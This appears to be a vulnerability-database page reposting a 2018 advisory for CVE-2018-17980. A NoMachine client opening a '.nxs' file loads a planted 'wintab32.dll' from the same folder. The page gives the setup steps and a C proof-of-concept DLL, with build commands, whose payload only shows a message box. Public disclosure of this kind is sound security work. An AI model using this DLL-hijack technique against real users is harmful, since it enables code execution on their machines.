Lucene search
K

NoMachine 5.3.26 Remote Code Execution Exploit

🗓️ 12 Oct 2018 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 63 Views

NoMachine 5.3.26 Trojan File Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2018-17980
12 Oct 201820:36
circl
CNVD
NoMachine Remote Code Execution Vulnerability
13 Oct 201800:00
cnvd
CVE
CVE-2018-17980
15 Oct 201819:00
cve
Cvelist
CVE-2018-17980
15 Oct 201819:00
cvelist
Exploit DB
NoMachine < 5.3.27 - Remote Code Execution
15 Oct 201800:00
exploitdb
EUVD
EUVD-2018-9720
7 Oct 202500:30
euvd
exploitpack
NoMachine 5.3.27 - Remote Code Execution
15 Oct 201800:00
exploitpack
NVD
CVE-2018-17980
15 Oct 201819:29
nvd
Packet Storm
NoMachine 5.3.26 Remote Code Execution
12 Oct 201800:00
packetstorm
Prion
Design/Logic Flaw
15 Oct 201819:29
prion
Rows per page
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NOMACHINE-TROJAN-FILE-REMOTE-CODE-EXECUTION.txt

[Vendor]
www.nomachine.com


[Product]
NoMachine  <= v5.3.26

NX technology, developed by NoMachine, and commonly known as "NX" is a proprietary computer program that provides desktop and remote access.
It consists of a suite of products for desktop virtualization and application delivery for servers, and client software.



[Vulnerability Type]
Trojan File Remote Code Execution


[Affected Component]
wintab32.dll


[CVE Reference]
CVE-2018-17980


[Security Issue]
Possible arbitrary code execution when opening a ".nxs" nomachine file type on client's wintab32.dll preload.
This issue regards the client part of all NoMachine installations on Windows (NoMachine free, NoMachine Enterprise Client, NoMachine Enteprise Desktop and NoMachine Cloud Server).

1) create a 32 bit DLL named "wintab32.dll"
2) create an native nomachine ".NXS" file and open it alongside the trojan "wintab32.dll" DLL from Network share or any dir.
BOOM!


[References]
https://www.nomachine.com/TR10P08887



[Exploit/POC]

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 wintab32.c
gcc -shared -m32 -o wintab32.dll wintab32.o
*/

void executo(){
 MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , ":)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
 switch(fdwReason){
  case DLL_PROCESS_ATTACH:{
  executo();
  break;
  }
  case DLL_PROCESS_DETACH:{
  executo();
  break;
  }
  case DLL_THREAD_ATTACH:{
  executo();
  break;
       }
  case DLL_THREAD_DETACH:{
  executo();
  break;
  }
   }
  return TRUE;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Oct 2018 00:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 26.8
CVSS 37.8
EPSS0.03667
63